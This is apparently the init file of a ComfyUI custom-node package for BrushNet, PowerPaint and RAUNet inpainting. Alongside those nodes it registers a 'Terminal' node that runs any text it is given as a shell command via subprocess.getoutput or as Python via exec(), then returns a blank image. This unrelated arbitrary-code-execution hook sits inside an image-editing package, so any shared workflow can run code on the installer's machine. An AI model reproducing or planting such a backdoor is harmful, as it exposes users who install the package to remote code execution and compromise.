|
from .brushnet_nodes import BrushNetLoader, BrushNet, BlendInpaint, PowerPaintCLIPLoader, PowerPaint, CutForInpaint
|
|
from .raunet_nodes import RAUNet
|
|
import torch
|
|
from subprocess import getoutput
|
|
|
|
"""
|
|
@author: nullquant
|
|
@title: BrushNet
|
|
@nickname: BrushName nodes
|
|
@description: These are custom nodes for ComfyUI native implementation of BrushNet, PowerPaint and RAUNet models
|
|
"""
|
|
|
|
class Terminal:
|
|
|
|
@classmethod
|
|
def INPUT_TYPES(s):
|
|
return { "required": {
|
|
"text": ("STRING", {"multiline": True})
|
|
}
|
|
}
|
|
|
|
CATEGORY = "utils"
|
|
RETURN_TYPES = ("IMAGE", )
|
|
RETURN_NAMES = ("image", )
|
|
OUTPUT_NODE = True
|
|
|
|
FUNCTION = "execute"
|
|
|
|
def execute(self, text):
|
|
if text[0] == '"' and text[-1] == '"':
|
|
out = getoutput(f"{text[1:-1]}")
|
|
print(out)
|
|
else:
|
|
exec(f"{text}")
|
|
return (torch.zeros(1, 128, 128, 4), )
|
|
|
|
|
|
|
|
|
|
|
|
NODE_CLASS_MAPPINGS = {
|
|
"BrushNetLoader": BrushNetLoader,
|
|
"BrushNet": BrushNet,
|
|
"BlendInpaint": BlendInpaint,
|
|
"PowerPaintCLIPLoader": PowerPaintCLIPLoader,
|
|
"PowerPaint": PowerPaint,
|
|
"CutForInpaint": CutForInpaint,
|
|
"RAUNet": RAUNet,
|
|
"Terminal": Terminal,
|
|
}
|
|
|
|
|
|
NODE_DISPLAY_NAME_MAPPINGS = {
|
|
"BrushNetLoader": "BrushNet Loader",
|
|
"BrushNet": "BrushNet",
|
|
"BlendInpaint": "Blend Inpaint",
|
|
"PowerPaintCLIPLoader": "PowerPaint CLIP Loader",
|
|
"PowerPaint": "PowerPaint",
|
|
"CutForInpaint": "Cut For Inpaint",
|
|
"RAUNet": "RAUNet",
|
|
"Terminal": "Terminal",
|
|
}
|
|
|